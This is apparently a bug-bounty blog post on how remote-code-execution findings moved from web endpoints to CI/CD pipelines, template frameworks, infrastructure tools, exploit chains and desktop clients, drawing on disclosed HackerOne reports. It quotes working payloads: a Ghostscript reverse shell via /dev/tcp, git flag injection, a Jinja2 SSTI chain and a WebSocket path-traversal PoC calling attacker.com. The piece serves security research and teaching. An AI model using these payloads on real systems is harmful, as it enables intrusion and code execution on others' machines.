August 9, 2026
RCE in 2026 Doesn’t Look Like RCE in 2020. Here’s What Actually Matters Now.
30-second version: I compared the RCE reports that defined 2018–2021 bug bounty with what’s getting disclosed in 2024–2026. The attack…

By Abhishek meena
9 min read
30-second version:_ I compared the RCE reports that defined 2018–2021 bug bounty with what's getting disclosed in 2024–2026. The attack surface didn't shrink — it moved. File upload bypasses, direct command injection, and known CVE exploitation still work, but the highest-impact RCEs now come from CI/CD supply chains, framework-level template engines, infrastructure tools like curl and Tomcat, multi-step vulnerability chains, and client-side path traversal in desktop apps. If your RCE methodology hasn't evolved, you're testing a shrinking attack surface._
Why the 2020 playbook stopped working
I learned RCE testing from the 2018–2021 school of bug bounty.
The methodology was straightforward. Upload a crafted image to see if ImageMagick or ExifTool processes it. Try ;id in every parameter. Check if the target runs a known-vulnerable version of Struts, Confluence, or WebLogic. If you find SQLi, try to escalate it through xp_cmdshell or file writes.
Those techniques produced real results. Frans Rosen got a shell on Shopify's Kit CRM by uploading a Postscript file disguised as a JPG that triggered ImageMagick's Ghostscript delegate — and then accessed AWS metadata credentials from the shell (report 422944). Vakzz overwrote GitLab's authorized_keys by injecting --output= into a git command through a search API parameter, then SSH'd in as the git user (report 658013, $12,000). Alex Birsan uploaded a package called yelp-cgeom to the public PyPI registry and got code execution on Yelp's build server when their CI pipeline pulled it instead of the internal version (report 946409).
These were $10K–$30K bounties. They defined what "finding RCE" meant in bug bounty.
Then I looked at what was actually getting disclosed in 2024, 2025, and 2026. The reports were coming from different places. The techniques were different. The attack surface had moved.
The old methodology still works — but it's a shrinking pie. Here's what the recent data shows about where RCE actually lives now, and what to do about it.
What RCE looked like in 2020
The 2018–2021 RCE playbook had four major plays.
File upload → image processing libraries
ImageMagick, Ghostscript, ExifTool. Upload a crafted file, the server processes it, you get code execution.
The Semrush report (403417) is a textbook example. The logo upload endpoint passed files through ImageMagick without disabling PostScript processing. A .jpg file containing PostScript that called Ghostscript's %pipe% operator gave Frans Rosen a reverse shell:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/███/8080 0>&1') currentdevice putdeviceprops%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/███/8080 0>&1') currentdevice putdevicepropsOn GitLab, vakzz found that ExifTool would parse DjVu metadata and eval Perl code through an escape sequence bypass — a .jpg file containing a crafted DjVu annotation gave shell access on gitlab.com production servers (report 1154542, $20,000).
Direct command injection
User input concatenated into system commands without sanitization.
GitLab's search API accepted a ref parameter that was passed directly to a git command. Injecting --output=/var/opt/gitlab/.ssh/authorized_keys as the ref value, after setting a wiki page's commit message to an SSH public key, gave SSH access to the server (report 658013, $12,000).
curl --header "PRIVATE-TOKEN: $TOKEN" \
'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys'curl --header "PRIVATE-TOKEN: $TOKEN" \
'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys'Another GitLab report found that the DecompressedArchiveSizeValidator passed an attacker-controlled archive_path to Open3.popen3 as a shell string. A path like /tmp/ggg;echo lala|tee /tmp/1234;# achieved arbitrary command execution (report 1609965, $33,510 — the highest RCE bounty in the dataset).
Known CVE on exposed service
Find a server running a vulnerable version, exploit the CVE, get RCE. The U.S. DoD program alone produced dozens of these: CVE-2017–10271 (Oracle WebLogic), CVE-2021–26084 (Confluence), CVE-2020–5902 (F5 BIG-IP). Spray and pray, but it worked.
SSTI → RCE
Template injection escalated to code execution. Uber's Flask Jinja2 SSTI through the profile name field is the classic — {{ '7'*7 }} in a profile name rendered as 7777777 in email notifications, proving template evaluation, which then escalated to Python class traversal for RCE (report 125980, $10,000).
These patterns still produce bugs. But look at where the 2024–2026 reports are coming from.
Five things that changed
1. RCE moved from web endpoints to CI/CD and supply chains
The highest-impact RCE in 2026 isn't in a web application parameter. It's in the pipeline that builds and deploys code.
In March 2026, a researcher reported that DuckDuckGo's privacy-configuration repository had a GitHub Actions workflow using pull_request_target — a trigger that runs with privileged access and secrets. The workflow checked out the fork's repository as both the base and PR branches, then ran npm ci and node index.js on the attacker-controlled code, with PRIVACY_CONFIG_PAT and other tokens available in the environment (report 3619288).
Any GitHub user could open a fork PR and get arbitrary code execution on the Actions runner. The impact didn't stop at RCE — the PRIVACY_CONFIG_PAT could be exfiltrated and used to approve malicious PRs to the privacy configuration that controls tracker blocking for every DuckDuckGo browser.
This wasn't a one-off. In 2024, a researcher poisoned Mozilla's Firefox Accounts CI build cache by re-uploading a modified NX Cloud cache artifact, exfiltrating environment variables as proof of concept (report 2255750, $8,000). The fxa repository was public, which gave the attacker the source code access needed to craft the poisoned cache.
And the pattern started earlier: Alex Birsan's dependency confusion attacks — uploading packages with internal names to public registries and waiting for CI pipelines to pull them — produced a $30,000 bounty from PayPal (report 925585). The same researcher hit Uber ($9,000) and Yelp with the same class of attack.
The shift: RCE moved from "what can I inject into this HTTP request?" to "what can I inject into this build?"
2. Injection moved from the application to the framework
In May 2025, a researcher found that Fastify's @fastify/view plugin, when used with the EJS template engine and the reply.view({ raw }) pattern, passes user-controlled strings directly to ejs.compile() without sanitization (report 3122019).
Any endpoint that rendered user-supplied content as a raw EJS template had RCE:
In June 2025, a researcher found that Amazon Managed Workflows for Apache Airflow (MWAA) was running Airflow 2.9.2, vulnerable to CVE-2024–39877 — an SSTI vulnerability in DAG documentation strings. The doc_md field was rendered through Jinja2, and the Python __subclasses__() chain reached subprocess.Popen for command execution (report 3217840):
doc_md="""
{{ ''.__class__.__mro__[1].__subclasses__()[309]('id', shell=True, stdout=-1).communicate() }}
"""doc_md="""
{{ ''.__class__.__mro__[1].__subclasses__()[309]('id', shell=True, stdout=-1).communicate() }}
"""These aren't injection in the application. The vulnerability is in the framework itself — the code that's supposed to safely render templates has the bug. The application just has to use the feature.
The shift: instead of finding injection points in the application, find injection points in the framework.
3. The attack surface expanded to infrastructure tools
In 2025 alone, curl received multiple RCE reports through HackerOne. A stack buffer overflow in cookie parsing where strlen() read beyond an 8KB stack buffer (report 3340109). An MQTT CONNACK packet type bypass leading to RCE via a malicious broker (report 3712343). Arbitrary library loading through the --engine option (report 3293801).
In March 2025, CVE-2025–24813 was disclosed: Apache Tomcat RCE through partial PUT combined with file-based session persistence and deserialization (report 3031518, $4,323).
In January 2024, GitHub Enterprise Server had at least four separate RCE paths disclosed — in ghe-update-check (CVE-2024-1359, report 2325023), syslog-ng (2329466), actions-console (2323292), and collectd (2329547). All four allowed a Management Console Editor to escalate to root SSH access.
These aren't web applications. They're infrastructure — the tools that run the tools. curl is used by millions of applications. Tomcat runs thousands of Java services. GitHub Enterprise Server is the infrastructure that builds and deploys code.
The shift: the attack surface includes the infrastructure itself, not just the applications running on it.
4. The best RCEs became chains, not single bugs
CVE-2025–24813 (Apache Tomcat) is the clearest example. The RCE required four conditions to be true simultaneously:
- Writes enabled for the default servlet (disabled by default)
- Support for partial PUT (enabled by default)
- Application using Tomcat's file-based session persistence with default storage location
- Application including a library that could be leveraged in a deserialization attack
No single condition was the vulnerability. The vulnerability was the chain — partial PUT to write a serialized session file to the session persistence directory, then deserialization of that file when the application loaded it.
This pattern appears elsewhere. SQL injection combined with insecure deserialization led to RCE on Krisp (report 1842674). XSS in Rocket.Chat's desktop client escalated to RCE through Electron's shell.openExternal() and IPC channels (multiple reports). Path traversal combined with file write led to RCE on Mozilla VPN.
The shift: the most impactful RCEs aren't single bugs. They're chains where each step is a different vulnerability class — and the hunter who only tests for one class at a time will never see the chain.
5. RCE went client-side
In February 2025, a researcher found that Mozilla VPN's client had a path traversal vulnerability in its live_reload inspector command (report 2995025, $6,000).
The command downloaded a remote file and saved it using a path constructed by concatenating a directory with the user-supplied filename — without sanitizing .. sequences:
auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);On Windows, an attacker could overwrite any file on the filesystem — including DLLs that the application loads — by opening a malicious webpage that sent the payload through a WebSocket to the VPN client's local inspector:
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "http://attacker.com"
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() { ws.send(payload); };var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "http://attacker.com"
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() { ws.send(payload); };This isn't server-side RCE. It's client-side — the vulnerability is in the desktop application, triggered through a web attack vector. The RCE comes from overwriting a DLL that the application loads on startup.
The shift: RCE attack surface extends to desktop and VPN clients, not just web servers. The entry point can be a website.
How to update your RCE testing for 2026
The old playbook still has value — file upload bugs, command injection, and known CVEs still produce bounties. But if that's all you're testing, you're missing the majority of the current RCE attack surface.
Here's what to add.
Test CI/CD and supply chain
- Look for
pull_request_targetin.github/workflows/files. Does the workflow check out fork code? Does it execute commands on that code? Are secrets available in the workflow environment? - Check if the program's package registries resolve correctly. Are internal package names available on public registries (npm, PyPI, RubyGems)? Are there unclaimed package names that the CI pipeline might pull?
- Look at build cache systems (NX Cloud, Gradle, pip cache). Can cache artifacts be overwritten by someone with read access to the repository?
Test the frameworks, not just the app
- What template engine does the application use? Does it have a
raworinlinerendering mode that accepts user-controlled strings? - What version of the framework is running? Are there known SSTI or code injection CVEs in that version that the application might be exposing?
- Are DAG files, configuration templates, or documentation strings rendered through template engines? (Airflow's
doc_mdfield is a real example.)
Test infrastructure tools
- What infrastructure tools does the target use? curl, Tomcat, Airflow, Jenkins, GitHub Enterprise?
- Are they running current versions? What CVEs exist for those versions, and are the exploitation conditions met in this specific deployment?
- Are there undocumented or poorly documented API endpoints in those tools that accept user input?
Look for chains, not single bugs
- Can a partial PUT write to a location that the application later reads from or deserializes?
- Can a path traversal write to a location that the application later executes or loads as a library?
- Can an XSS in a web context reach a desktop application context (Electron, WebView) where it becomes RCE?
- Can a lower-severity bug (SSRF, path traversal, information disclosure) be the first step in a chain that ends in RCE?
Test desktop and VPN clients
- Do desktop clients have local WebSocket or HTTP interfaces that web pages can reach?
- Do they download and execute files from user-controlled URLs?
- Do they construct file paths from user input without sanitizing path traversal sequences?
- Does the client run in developer or staging mode that exposes additional attack surface?
The one thing to remember
RCE didn't disappear. It moved.
In 2020, you found RCE by injecting into web application parameters. In 2026, you find RCE by injecting into build pipelines, framework rendering engines, infrastructure tools, and desktop client file paths.
The methodology that worked in 2020 — test the endpoint, inject the payload, get the shell — still works on endpoints that haven't been patched. But the endpoints worth testing have changed. The highest-paying RCEs now require understanding the entire system: how code is built, what frameworks it runs on, what infrastructure it depends on, and how the client communicates with the server.
The hunters who update their methodology will find RCEs that the hunters still running the 2020 playbook will never see.
Sources
- DuckDuckGo — RCE + PAT Exfiltration via pull_request_target in GitHub Actions (2026)
- Mozilla — RCE and secret exfiltration by poisoning CI build cache ($8,000, 2024)
- PayPal — RCE via npm misconfig / dependency confusion ($30,000, 2020)
- Yelp — RCE on build server via misconfigured pip install (2020)
- Fastify — RCE via unsafe usage of reply.view({ raw }) in @fastify/view (2025)
- AWS MWAA — RCE due to outdated Apache Airflow version, CVE-2024–39877 (2025)
- curl — Stack Buffer Overflow in Cookie Parsing (2025)
- curl — MQTT CONNACK Packet Type Bypass leads to RCE (2025)
- curl — RCE via Arbitrary Library Loading in — engine option (2025)
- Apache Tomcat — CVE-2025–24813: RCE via partial PUT and deserialization ($4,323, 2025)
- GitHub Enterprise Server — RCE via ghe-update-check, CVE-2024–1359 (2024)
- GitHub Enterprise Server — RCE via syslog-ng (2024)
- GitHub Enterprise Server — RCE via actions-console (2024)
- GitHub Enterprise Server — RCE via collectd (2024)
- Mozilla VPN — RCE via file write and path traversal ($6,000, 2025)
- Krisp — SQL Injection + Insecure Deserialization leads to RCE
- Shopify — RCE on kitcrm via ImageTragick (2018)
- Semrush — RCE via Logo upload through ImageMagick/Ghostscript (2018)
- GitLab — RCE when removing metadata with ExifTool ($20,000, 2021)
- GitLab — Git flag injection to RCE ($12,000, 2019)
- GitLab — RCE via DecompressedArchiveSizeValidator ($33,510, 2022)
- Uber — RCE by Flask Jinja2 Template Injection ($10,000, 2016)